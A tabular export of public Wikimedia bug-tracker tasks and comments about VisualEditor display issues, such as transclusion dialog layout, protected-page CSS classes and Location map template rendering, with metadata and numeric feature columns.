+52814,VisualEditor: Transclusion display garbled after removing parameter (CSS caching issue),"narrow display
+
+Seen in Chrome at least
+
+* click Transclusion
+* add a Template; add-parameter display is fine
+* add a parameter to the template
+* click Remove parameter
+
+resulting display is too narrow and does not display fully
+
+* add a new parameter in the garbled display
+
+display of parameter value show echoed/ghost characters as user types into parameter input
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11254}",Low,25.0,1373044920,1373062869.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-7fduwzpt3wlf2h5imzyr,task_description,resolved,True,c1,3,False,False,True,0,,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0
+236679,VisualEditor: Transclusion display garbled after removing parameter (CSS caching issue),confirmed,,,1373062937,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-7fduwzpt3wlf2h5imzyr,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+236674,VisualEditor: Transclusion display garbled after removing parameter (CSS caching issue),"I believe that this was due to a CSS caching issue (which we will more generally fix with bug 49420), and should now be gone - can you confirm?",,,1373062869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7fduwzpt3wlf2h5imzyr,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,1,0,0
+236668,VisualEditor: Transclusion display garbled after removing parameter (CSS caching issue),"Created attachment 12763
+ghost characters while typing
+
+**Attached**: {F11255}",,,1373044974,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-7fduwzpt3wlf2h5imzyr,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+52783,"VisualEditor: Add class name to protected pages, to allow for specific CSS styling of edit area","The wikitext editor <textarea> element has a CSS class ""mw-textarea-protected"" when a protected page is being edited. This can be used to provide custom styling for this textarea, mainly in order to alert sysops that they are editing a fully protected page.
+
+A similar CSS class name should somehow be provided for VE.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1372998120,1398891900.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-u5vpeaoeulxl7k3l2bmg,task_description,resolved,True,c1,3,False,False,False,0,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+234783,"VisualEditor: Add class name to protected pages, to allow for specific CSS styling of edit area","Change 130665 merged by jenkins-bot:
+Add class name to protected pages, to allow for specific CSS styling of edit area
+
+https://gerrit.wikimedia.org/r/130665",,,1398891701,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u5vpeaoeulxl7k3l2bmg,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234779,"VisualEditor: Add class name to protected pages, to allow for specific CSS styling of edit area","Change 130665 had a related patch set uploaded by Alex Monk:
+Add class name to protected pages, to allow for specific CSS styling of edit area
+
+https://gerrit.wikimedia.org/r/130665",,,1398887540,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u5vpeaoeulxl7k3l2bmg,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52741,"VisualEditor: Show a different cursor when Ctrl (Cmd on Mac) is held down, as the interaction will be different","If you Ctrl+Click a link in the VE, it'll open (discovered through trial and error). Presumably the cursor when hovering over links while Ctrl is depressed should be the hand icon, rather than the typing icon.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1372938780,1701797038.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-wvxangmpnag4krm3mcnl,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+2241893,"VisualEditor: Show a different cursor when Ctrl (Cmd on Mac) is held down, as the interaction will be different",Browsers do this automatically now (tested Chrome + FF).,,,1701797038,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvxangmpnag4krm3mcnl,task_subcomment,,True,c1,3,True,,,544,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+52735,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Screenshot
+
+See screenshot; not sure this is how it's meant to look, but it's how it looks. If there are no unused parameters it seems like the box notifying you of such should overwrite, rather than sit under, the search box - that's unnecessary functionality if all available parameters exist.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54094
+
+**Attached**: {F11039}",Low,25.0,1372936920,1724097630.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-d6zgk46zgybexfzzc4pr,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+2398633,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?",This interface has been replaced as a part of <https://meta.wikimedia.org/wiki/WMDE_Technical_Wishes/VisualEditor_template_dialog_improvements>.,,,1724097630,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,581,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1
+1655480,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","This is still an issue, although now the message reads ""No unused fields"".
+{F34066618}",,,1611947721,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,395,,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0
+232003,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Just noting that bug 54094 (which was marked as a duplicate) is about the ""Unknown parameter"" message which appears (briefly) after the user has typed in '1'/'2' but not pressed enter yet.
+
+(In reply to comment #5)
+> Yes, ""No more known parameters"" would work. 
+> 
+> Not essential, but if it's not too much work, including a link to an
+> explanation (that there may be unknown parameters and that these can be used)
+> and/or the template documentation (if there isn't one provided elsewhere on
+> that view) would be good. Obviously both should open in a new window/tab.
+
+That is essentially bug 49772.",,,1382338192,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,False,,,16,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1
+231995,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?",*** Bug 54094 has been marked as a duplicate of this bug. ***,,,1381342230,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231987,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Yes, ""No more known parameters"" would work. 
+
+Not essential, but if it's not too much work, including a link to an explanation (that there may be unknown parameters and that these can be used) and/or the template documentation (if there isn't one provided elsewhere on that view) would be good. Obviously both should open in a new window/tab.",,,1377907592,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0
+231981,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Urk. Tis true. In particular, I'm thinking of scenarios where you have an infinite number of parameters (templates that merely order and format a set of inputted data, for example). ""No more known parameters"" would work.",,,1377906608,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+231975,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","(In reply to comment #2)
+> Possibly? Offering people the ability to do something when the system knows
+> it won't end in what they want probably isn't the direction we want to be
+> going in, however.
+
+But the system doesn't 'know' that. TemplateData is hinting, not a binding-contract-of-doom. It's (intentionally) possible to add parameters that aren't in the hinting, because the hinting is out-of-date or doesn't cover this ""secret"" parameter, or because the name of your parameter is generated (e.g. {{CURRENTDAY}}=Easter Egg! or something more useful). Remember that there's almost no end to the level of flexibility that WT allows users…",,,1377905124,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,8,,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+231967,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Possibly? Offering people the ability to do something when the system knows it won't end in what they want probably isn't the direction we want to be going in, however.",,,1377904852,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+231960,"VisualEditor: Transclusion dialog informing you that there are ""no unused fields"" looks odd; improve message?","Possibly we could say ""No known parameters"" and ""No more known parameters"" to make it clearer?",,,1377904599,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d6zgk46zgybexfzzc4pr,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0
+52734,VisualEditor: Drop mw:ExtLink/URL,"Since Parsoid has dropped it in bug 46027
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1372936500,1373310499.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-6lutt2i5yzl6odq5e46s,task_description,resolved,True,c1,3,True,False,True,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+231914,VisualEditor: Drop mw:ExtLink/URL,"Change 71974 merged by jenkins-bot:
+Drop mw:ExtLink/URL support
+
+https://gerrit.wikimedia.org/r/71974",,,1373310810,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lutt2i5yzl6odq5e46s,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+231909,VisualEditor: Drop mw:ExtLink/URL,"Change 71974 had a related patch set uploaded by Esanders:
+Drop mw:ExtLink/URL support
+
+https://gerrit.wikimedia.org/r/71974",,,1372936758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lutt2i5yzl6odq5e46s,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52714,VisualEditor: Location map template does not display correctly,"**Author:** `lunarjam.mcgahan`
+
+**Description:**
+MS Word document describing and illustrating the bug
+
+See attached document. O/S is iOS 6.1.3
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**OS**: other
+
+**Attached**: {F11914}",Low,25.0,1372904400,1525739028.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-TASK-uejijc4imv5i4n5hfjzf,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+1064315,VisualEditor: Location map template does not display correctly,"I checked the links that were given as examples to illustrate the problem - it does not seem that the issue is present anymore in wmf.2. 
+
+Also, I checked how the specific example (given in the ticket description) renders in iPad  - both in Chrome emulator and on real device - the issue is not present anymore. 
+(btw, there is a typo in the template code - should be `E` not `N` - I pasted the sample without correcting it to document the issue in its original form) 
+```
+{{Location map|South Australia|label=Macumba Station
+  |position=left
+  |lat_deg=27.25082|lat_dir=S
+  |lon_deg=135.6533|lon_dir=N
+  |caption=Location in South Australia}}
+```
+I am closing the ticket - if there are still some problems it'd be a good idea to create a new specific task.  ",,,1525739028,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,253,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+574751,VisualEditor: Location map template does not display correctly,">>! In T52714#589573, @TheDJ wrote:
+> the technology of absolute positioning that is use by these templates and replace them with something more sustainable.
+
+Split to T120809",,,1449570666,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,127,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,0,1,0,1
+255720,VisualEditor: Location map template does not display correctly,"Link to a few other templates that run into trouble due to this problem.
+
+https://en.wikipedia.org/wiki/Template:Chess_diagram
+https://en.wikipedia.org/wiki/Template:Quote_box (with curly quotes option on)",,,1385032387,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+255718,VisualEditor: Location map template does not display correctly,"Yes, exactly, the elements themselves. The HTML DOM elements. Not the pretty picture that translates into, nor the ugly wikicode language that generates them.",,,1384946588,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+255715,VisualEditor: Location map template does not display correctly,"**Wikifram** wrote:
+
+(In reply to comment #14)
+> And i'm slightly offended by your attack on me as a person. A volunteer who
+> probably spends more time on en.wp than doing development.
+
+I haven't attacked you as a person, for all I know you may be a wonderful person. I have attacked your comment as a developer here, and what I see as the mindset of many developers here when working as a developer. 
+
+(In reply to comment #14)
+> > are so wrong that I feel it may be hard to explain to you what is the problem with it.
+> 
+> I think you assumed that I meant the elements/templates themselves. You
+> assumed
+> incorrect.
+
+I didn't ""assume"" anything, I read what you wrote: ""Ideally, we would
+just get rid of absolute positioned elements"". Usually, when people write ""get rid of elements"", they mean ""the elements themselves"", not ""keep the elements but get rid of the technology used"". Don't blame your errors on others please. I have no problem with someone correcting his position or retracting earlier statements, and I'm not the type to claim for all eternity that you want to get rid of these elements if you clarify that that was not what you intended; but then just state that what you said was not what you meant, not that the problem lies with the reader who ""assumed"" something incorrectly.",,,1384945064,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,20,,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+255709,VisualEditor: Location map template does not display correctly,"> are so wrong that I feel it may be hard to explain to you what is the problem with it.
+
+I think you assumed that I meant the elements/templates themselves. You assumed incorrect. I meant the technology of absolute positioning that is use by these templates and replace them with something more sustainable. They currently also break in mobile and are very sensitive to skin changes for instance. The technique used to place them is problematic (and has been known to be problematic for many years, it's part of why I consolidated those hacks into https://en.wikipedia.org/wiki/Template%3ATop_icon, so that we could replace them at some point). The same technique has also been used for several spam attacks on the wiki.
+
+And i'm slightly offended by your attack on me as a person. A volunteer who probably spends more time on en.wp than doing development.",,,1384941212,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+255702,VisualEditor: Location map template does not display correctly,"**Wikifram** wrote:
+
+The DJ, thanks for your response, but I fear that it is again symptomatic of the incorrect view you and other devs seem to have. VisualEditor is ''not'' the goal, it is a means to make editing easier. Comments like ""Ideally, we would just get rid of absolute positioned elements (.topicon, coordinates, FA/GA etc icons), but that's probably going to be near impossible."" are so wrong that I feel it may be hard to explain to you what is the problem with it. There is absolutely ''nothing'' ideal about getting rid of these elements, they are a very useful aspect of maps and other position-defined elements. If VE can't handle these, then VE has to change or an alternative method that can be used in view mode and VE mode needs to be found. But ""VE can't handle this, so we should get rid of these elements""? No, that's the opposite mindset of what we actually need. 
+
+As for ""nor is it extremely visible to the uninitiated."", have you looked at pages like [[:en:FC Barcelona]] or [[:en:ant]]? I think most of the ""uninitiated"" would notice some differences in the display between [[:fr:Azincourt]] and [https://fr.wikipedia.org/wiki/Azincourt?veaction=edit this] (cause this bug happens on all wikis, not just here...) 
+
+This bug happens on about 1 in 5 pages. I don't see how this can be both ""low"" and ""minor"" in importance, either one should be a lot higher (a minor aspect that affects an awful lot of pages on all wiki versions is a lot more important than a minor aspect that only affects a few hundred pages, obviously). On a fair number of pages (e.g. the football kit ones, 25000 on enwiki alone, but also e.g. [https://fi.wikipedia.org/wiki/Paris_Saint-Germain?veaction=edit here]), this bug (assuming it is the same one) is very pronounced, so not so minor anyway.",,,1384938669,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,False,,,20,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+255694,VisualEditor: Location map template does not display correctly,"By investigating the railway template problem, I think I identified 3 Parsoid bugs that were contributing to those problems on those pages. Most important is bug 57258. The others were bug 57251 and bug 57252.
+
+These are very distinct issues from the location map issue.",,,1384880301,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0
+255686,VisualEditor: Location map template does not display correctly,"For Location map, this is caused solely by:
+
+.ve-ce-protectedNode, .ve-ce-protectedNode * {
+position: relative !important;
+top: 0 !important;
+left: 0 !important;
+bottom: 0 !important;
+right: 0 !important;
+}
+
+Disabling it returns both the markers and the coordinates back to their original position. However, that also makes all content outside of the main box (you can click title coordinates that are generated by an info box).
+
+Conclusion, this was probably done to counter the effects of absolute positioned elements and causes 'fallout' for relative positioned elements. One way to fix this is with a bit of JS.
+
+var elements = $("".ve-ce-protectedNode"").filter(function() {
+      if( $(this).css(""position"") === ""absolute"" ) {
+            $(this).addClass(""evilabsoluteitems"");
+      }
+});
+
+And then assign the above css only to those elements. This is probably a rather 'expensive' operation. Ideally, we would just get rid of absolute positioned elements (.topicon, coordinates, FA/GA etc icons), but that's probably going to be near impossible. A third option might be to add a classname to all these elements that VE can recognize and then apply this styling to it.
+
+The question of the railway template seems more complex. I have a suspicion that there is actually a coding error in those templates, since I see problems with columns/rows counts on those pages. That would also explain why they take long to render in parsoid, it likely makes it complex to render the pages.",,,1384872097,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-uejijc4imv5i4n5hfjzf,task_subcomment,,True,c1,3,True,,,20,,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+255679,VisualEditor: Location map template does not display correctly,"Probably a separate problem, which may already be filed in buzila, but here are a few railway templates that have extreme layout issues.
+https://en.wikipedia.org/w/index.php?title=Ontario_Northland_Railway&veaction=edit
+https://en.wikipedia.org/w/index.php?title=Brunswick%E2%80%93Magdeburg_railway&veaction=edit
+https://en.wikipedia.org/w/index.php?title=East_Lancashire_Railway&veaction=edit
+https://en.wikipedia.org/w/index.php?title=Channel_Tunnel&veaction=edit
